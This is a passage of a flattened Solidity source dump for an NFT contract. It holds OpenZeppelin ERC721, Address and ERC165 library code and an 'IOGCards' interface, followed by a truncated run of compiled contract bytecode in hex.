*/ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface IOGCards { struct Card { bool isGiveaway; uint8 borderType; uint8 transparencyLevel; uint8 maskType; uint256 dna; uint256 mintTokenId; address[] holders; } function cardDetails(uint256 tokenId) external view returns (Card memory); function ownerOf(uint256 tokenId) external view returns (address); function isOG(address _og) external view returns (bool); function holderName(address _holder) external view returns (string memory); function ogHolders(uint256 tokenId) external view returns (address[] memory, string[] memory); }
0x608060405234801561001057600080fd5b50600436106102955760003560e01c80638da5cb5b11610167578063c6150e76116100ce578063ec27869411610087578063ec278694146105d2578063ef7c8959146105db578063f1e3d389146105fb578063f2fde38b1461060e578063f77843dd14610621578063fa88c3be1461068257600080fd5b8063c6150e7614610527578063c83271f51461053a578063c87b56dd1461054d578063d884254714610560578063dbe1be0214610573578063e985e9c51461059657600080fd5b80639f71b961116101205780639f71b961146104b0578063a22cb465146104c3578063a6cc094e146104d6578063b1f22c4a146104ea578063b469229d146104f3578063b88d4fde1461051457600080fd5b80638da5cb5b146104455780638db8368a14610456578063942b76c61461046957806395d89b411461047c5780639971fb7b146104845780639b31520c1461048d57600080fd5b806342842e0e1161020b5780636c0360eb116101c45780636c0360eb146103f157806370a08231146103f8578063715018a61461040b5780637947e522146104135780637fb332191461041c5780638462151c1461042557600080fd5b806342842e0e1461037a5780634e71d92d1461038d5780634e7913bd146103955780634f6ccce7146103b85780635104d687146103cb5780636352211e146103de57600080fd5b80630e89ba3b1161025d5780630e89ba3b1461031557806318160ddd1461032857806323b872dd146103395780632831b3871461034c5780632f745c591461035f5780633ccfd60b1461037257600080fd5b806301ffc9a71461029a5780630632bda6146102c357806306fdde03146102cd578063081812fc146102e2578063095ea7b314610302575b600080fd5b6102ad6102a8366004612f31565b6106a5565b6040516102ba9190613b14565b60405180910390f35b6102cb6106d0565b005b6102d5610724565b6040516102ba9190613b7c565b6102f56102f0366004612fa1565b6107b6565b6040516102ba9190613a71565b6102cb610310366004612e74565b6107f9565b6102cb610323366004612cc2565b61087f565b6008545b6040516102ba9190613d7e565b6102cb610347366004612d38565b610926565b6102cb61035a366004612fa1565b610957565b61032c61036d366004612e74565b610ada565b6102cb610b2c565b6102cb610388366004612d38565b610b85565b6102cb610ba0565b6102ad6103a3366004612fa1565b60136020526000908152604090205460ff1681565b61032c6103c6366004612fa1565b610c58565b6102cb6103d9366004612e2d565b610cb4565b6102f56103ec366004612fa1565b610e05565b60606102d5565b61032c610406366004612cc2565b610e3a565b6102cb610e7e565b61032c600d5481565b61032c600b5481565b610438610433366004612cc2565b610eb4565b6040516102ba9190613b03565b600a546001600160a01b03166102f5565b6102cb610464366004612fa1565b610f8e565b6102cb610477366004612ea4565b61110d565b6102d561117d565b61032c600c5481565b6102ad61049b366004612cc2565b60116020526000908152604090205460ff1681565b6102cb6104be366004612ed4565b61118c565b6102cb6104d1366004612dfd565b61124d565b600a546102ad90600160a01b900460ff1681565b61032c600e5481565b610506610501366004612fa1565b6112e5565b6040516102ba929190613ade565b6102cb610522366004612d85565b611712565b6102cb610535366004612fa1565b61174a565b6102ad610548366004612cc2565b6118c9565b6102d561055b366004612fa1565b6118f9565b6102d561056e366004612cc2565b6119c2565b6102ad610581366004612fa1565b60146020526000908152604090205460ff1681565b6102ad6105a4366004612cfe565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61032c600f5481565b6105ee6105e9366004612fa1565b611a9c565b6040516102ba9190613d6d565b6102d5610609366004612cc2565b611bd3565b6102cb61061c366004612cc2565b611c7f565b61067061062f366004612fa1565b60156020526000908152604090208054600182015460029092015460ff80831693610100840482169362010000810483169363010000009091049092169186565b6040516102ba96959493929190613b22565b6102ad610690366004612fa1565b60126020526000908152604090205460ff1681565b60006001600160e01b0319821663780e9d6360e01b14806106ca57506106ca82611d96565b92915050565b600a546001600160a01b031633146107035760405162461bcd60e51b81526004016106fa90613ccd565b60405180910390fd5b600a805460ff60a01b198116600160a01b9182900460ff1615909102179055565b6060600080546107339061403a565b80601f016020809104026020016040519081016040528092919081815260200182805461075f9061403a565b80156107ac5780601f10610781576101008083540402835291602001916107ac565b820191906000526020600020905b81548152906001019060200180831161078f57829003601f168201915b5050505050905090565b60006107c182611de6565b6107dd5760405162461bcd60e51b81526004016106fa90613c8d565b506000908152600460205260409020546001600160a01b031690565b600061080482610e05565b9050806001600160a01b0316836001600160a01b031614156108385760405162461bcd60e51b81526004016106fa90613cfd565b336001600160a01b0382161480610854575061085481336105a4565b6108705760405162461bcd60e51b81526004016106fa90613c2d565b61087a8383611e03565b505050565b600a546001600160a01b031633146108a95760405162461bcd60e51b81526004016106fa90613ccd565b6108b2816118c9565b6108ce5760405162461bcd60e51b81526004016106fa90613d4d565b6001600160a01b03811660009081526017602052604081206108ef916129e2565b6040516001600160a01b038216907fbf86b3e06dd8d311e088ea459f272c1b5f9faee90e347d0c5fd2672efeaf6eda90600090a250565b6109303382611e71565b61094c5760405162461bcd60e51b81526004016106fa90613d1d565b61087a838383611f16565b600a54600160a01b900460ff166109805760405162461bcd60e51b81526004016106fa90613c9d565b600e54600081116109a35760405162461bcd60e51b81526004016106fa90613bcd565b6040516331a9108f60e11b81526001600160a01b037f0000000000000000000000009759226b2f8ddeff81583e244ef3bd13aaa7e4a11690636352211e906109ef908590600401613d7e565b60206040518083038186803b158015610a0757600080fd5b505afa158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3f9190612ce0565b6001600160a01b0316336001600160a01b031614610a6f5760405162461bcd60e51b81526004016106fa90613d2d565b60008281526014602052604090205460ff1615610a9e5760405162461bcd60e51b81526004016106fa90613b8d565b6000828152601460205260408120805460ff19166001179055600e805491610ac583614023565b9190505550610ad633600384612043565b5050565b6000610ae583610e3a565b8210610b035760405162461bcd60e51b81526004016106fa90613b9d565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610b565760405162461bcd60e51b81526004016106fa90613ccd565b6040514790339082156108fc029083906000818181858888f19350505050158015610ad6573d6000803e3d6000fd5b61087a83838360405180602001604052806000815250611712565b600a54600160a01b900460ff16610bc95760405162461bcd60e51b81526004016106fa90613c9d565b600b5460008111610bec5760405162461bcd60e51b81526004016106fa90613bcd565b3360009081526011602052604090205460ff1615610c1c5760405162461bcd60e51b81526004016106fa90613ced565b336000908152601160205260408120805460ff19166001179055600b805491610c4483614023565b9190505550610c5533600080612043565b50565b6000610c6360085490565b8210610c815760405162461bcd60e51b81526004016106fa90613d3d565b60088281548110610ca257634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b03163314610cde5760405162461bcd60e51b81526004016106fa90613ccd565b6000815111610cff5760405162461bcd60e51b81526004016106fa90613c5d565b6001600160a01b038216610d255760405162461bcd60e51b81526004016106fa90613cbd565b610d2e826118c9565b15610da2576001600160a01b03821660009081526017602090815260409091208251610d5c92840190612a1c565b50816001600160a01b03167f1d5b252e4d1b26902bbe85d298ff05648ef61448f7c89a24344fcec6b5aa408882604051610d969190613b7c565b60405180910390a25050565b6001600160a01b03821660009081526017602090815260409091208251610dcb92840190612a1c565b50816001600160a01b03167fba6303cf9de77ad9444eb31a61731ae7d5f64bf0fb409469f5206a7228f3c08382604051610d969190613b7c565b6000818152600260205260408120546001600160a01b0316806106ca5760405162461bcd60e51b81526004016106fa90613c4d565b60006001600160a01b038216610e625760405162461bcd60e51b81526004016106fa90613c3d565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610ea85760405162461bcd60e51b81526004016106fa90613ccd565b610eb26000612050565b565b60606000610ec183610e3a565b905080610ee25760408051600080825260208201909252905b509392505050565b6000816001600160401b03811115610f0a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610f33578160200160208202803683370190505b50905060005b82811015610eda57610f4b8582610ada565b828281518110610f6b57634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610f808161408d565b915050610f39565b50919050565b600a54600160a01b900460ff16610fb75760405162461bcd60e51b81526004016106fa90613c9d565b600c5460008111610fda5760405162461bcd60e51b81526004016106fa90613bcd565b604051630b02f02d60e31b81526001600160a01b037f000000000000000000000000b47e3cd837ddf8e4c57f05d70ab865de6e193bbb1690635817816890611026908590600401613d7e565b60206040518083038186803b15801561103e57600080fd5b505afa158015611052573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110769190612ce0565b6001600160a01b0316336001600160a01b0316146110a65760405162461bcd60e51b81526004016106fa90613d5d565b60008281526012602052604090205460ff16156110d55760405162461bcd60e51b81526004016106fa90613c6d565b6000828152601260205260408120805460ff19166001179055600c8054916110fc83614023565b9190505550610ad633600184612043565b600f54600081116111305760405162461bcd60e51b81526004016106fa90613bcd565b600a546001600160a01b0316331461115a5760405162461bcd60e51b81526004016106fa90613ccd565b600f805490600061116a83614023565b919050555061087a8383600060016120a2565b6060600180546107339061403a565b600a546001600160a01b031633146111b65760405162461bcd60e51b81526004016106fa90613ccd565b80518251146111d75760405162461bcd60e51b81526004016106fa90613d0d565b60005b825181101561087a5761123b83828151811061120657634e487b7160e01b600052603260045260246000fd5b602002602001015183838151811061122e57634e487b7160e01b600052603260045260246000fd5b6020026020010151610cb4565b806112458161408d565b9150506111da565b6001600160a01b0382163314156112765760405162461bcd60e51b81526004016106fa90613c0d565b3360008181526005602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31906112d9908590613b14565b60405180910390a35050565b6060806112f183611de6565b61130d5760405162461bcd60e51b81526004016106fa90613cad565b6000838152601560209081526040808320815160e081018352815460ff808216151583526101008204811683870152620100008204811683860152630100000090910416606082015260018201546080820152600282015460a08201526003820180548451818702810187019095528085529194929360c08601939092908301828280156113c457602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116113a6575b50505050508152505090506000808260c00151516001600160401b038111156113fd57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611426578160200160208202803683370190505b50905060008360c00151516001600160401b0381111561145657634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561148957816020015b60608152602001906001900390816114745790505b50905060005b8460c00151518110156115775760008560c0015182815181106114c257634e487b7160e01b600052603260045260246000fd5b602002602001015190506114d5816118c9565b1561156457808486815181106114fb57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506000611526826119c2565b90508084878151811061154957634e487b7160e01b600052603260045260246000fd5b6020026020010181905250858061155f9061408d565b965050505b508061156f8161408d565b91505061148f565b506000836001600160401b038111156115a057634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156115c9578160200160208202803683370190505b5090506000846001600160401b038111156115f457634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561162757816020015b60608152602001906001900390816116125790505b50905060005b858110156117035784818151811061165557634e487b7160e01b600052603260045260246000fd5b602002602001015183828151811061167d57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508381815181106116bd57634e487b7160e01b600052603260045260246000fd5b60200260200101518282815181106116e557634e487b7160e01b600052603260045260246000fd5b602002602001018190525080806116fb9061408d565b91505061162d565b50909890975095505050505050565b61171c3383611e71565b6117385760405162461bcd60e51b81526004016106fa90613d1d565b611744848484846121ea565b50505050565b600a54600160a01b900460ff166117735760405162461bcd60e51b81526004016106fa90613c9d565b600d54600081116117965760405162461bcd60e51b81526004016106fa90613bcd565b6040516331a9108f60e11b81526001600160a01b037f00000000000000000000000069c40e500b84660cb2ab09cb9614fa2387f95f641690636352211e906117e2908590600401613d7e565b60206040518083038186803b1580156117fa57600080fd5b505afa15801561180e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118329190612ce0565b6001600160a01b0316336001600160a01b0316146118625760405162461bcd60e51b81526004016106fa90613d2d565b60008281526013602052604090205460ff16156118915760405162461bcd60e51b81526004016106fa90613bed565b6000828152601360205260408120805460ff19166001179055600d8054916118b883614023565b9190505550610ad633600284612043565b6001600160a01b038116600090815260176020526040812080548291906118ef9061403a565b9050119050919050565b606061190482611de6565b6119205760405162461bcd60e51b81526004016106fa90613cad565b60405163e9dc637560e01b81526001600160a01b037f000000000000000000000000009b8727b61db4d9ee59b102df53e5e30e8b14e5169063e9dc63759061196e9030908690600401613ac3565b60006040518083038186803b15801561198657600080fd5b505afa15801561199a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106ca9190810190612f6d565b606060007f0000000000000000000000003b85baf0e2157183c68d7143cddacb4eed75e0a16001600160a01b031663c3e16841846040518263ffffffff1660e01b8152600401611a129190613a71565b60006040518083038186803b158015611a2a57600080fd5b505afa158015611a3e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611a669190810190612f6d565b9050611a71836118c9565b15611a8657611a7f83611bd3565b9392505050565b805115611a935792915050565b611a7f8361221d565b611ae76040518060e00160405280600015158152602001600060ff168152602001600060ff168152602001600060ff1681526020016000815260200160008152602001606081525090565b611af082611de6565b611b0c5760405162461bcd60e51b81526004016106fa90613cad565b600082815260156020908152604091829020825160e081018452815460ff808216151583526101008204811683860152620100008204811683870152630100000090910416606082015260018201546080820152600282015460a08201526003820180548551818602810186019096528086529194929360c08601939290830182828015611bc357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611ba5575b5050505050815250509050919050565b6001600160a01b0381166000908152601760205260409020805460609190611bfa9061403a565b80601f0160208091040260200160405190810160405280929190818152602001828054611c269061403a565b8015611c735780601f10611c4857610100808354040283529160200191611c73565b820191906000526020600020905b815481529060010190602001808311611c5657829003601f168201915b50505050509050919050565b600a546001600160a01b03163314611ca95760405162461bcd60e51b81526004016106fa90613ccd565b6001600160a01b038116611ccf5760405162461bcd60e51b81526004016106fa90613bbd565b610c5581612050565b3b151590565b6001600160a01b038316611d3957611d3481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d5c565b816001600160a01b0316836001600160a01b031614611d5c57611d5c83826123ab565b6001600160a01b038216611d735761087a81612448565b826001600160a01b0316826001600160a01b03161461087a5761087a8282612521565b60006001600160e01b031982166380ac58cd60e01b1480611dc757506001600160e01b03198216635b5e139f60e01b145b806106ca57506301ffc9a760e01b6001600160e01b03198316146106ca565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611e3882610e05565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e7c82611de6565b611e985760405162461bcd60e51b81526004016106fa90613c1d565b6000611ea383610e05565b9050806001600160a01b0316846001600160a01b03161480611ede5750836001600160a01b0316611ed3846107b6565b6001600160a01b0316145b80611f0e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611f2982610e05565b6001600160a01b031614611f4f5760405162461bcd60e51b81526004016106fa90613cdd565b6001600160a01b038216611f755760405162461bcd60e51b81526004016106fa90613bfd565b611f80838383612565565b611f8b600082611e03565b6001600160a01b0383166000908152600360205260408120805460019290611fb4908490613fae565b9091555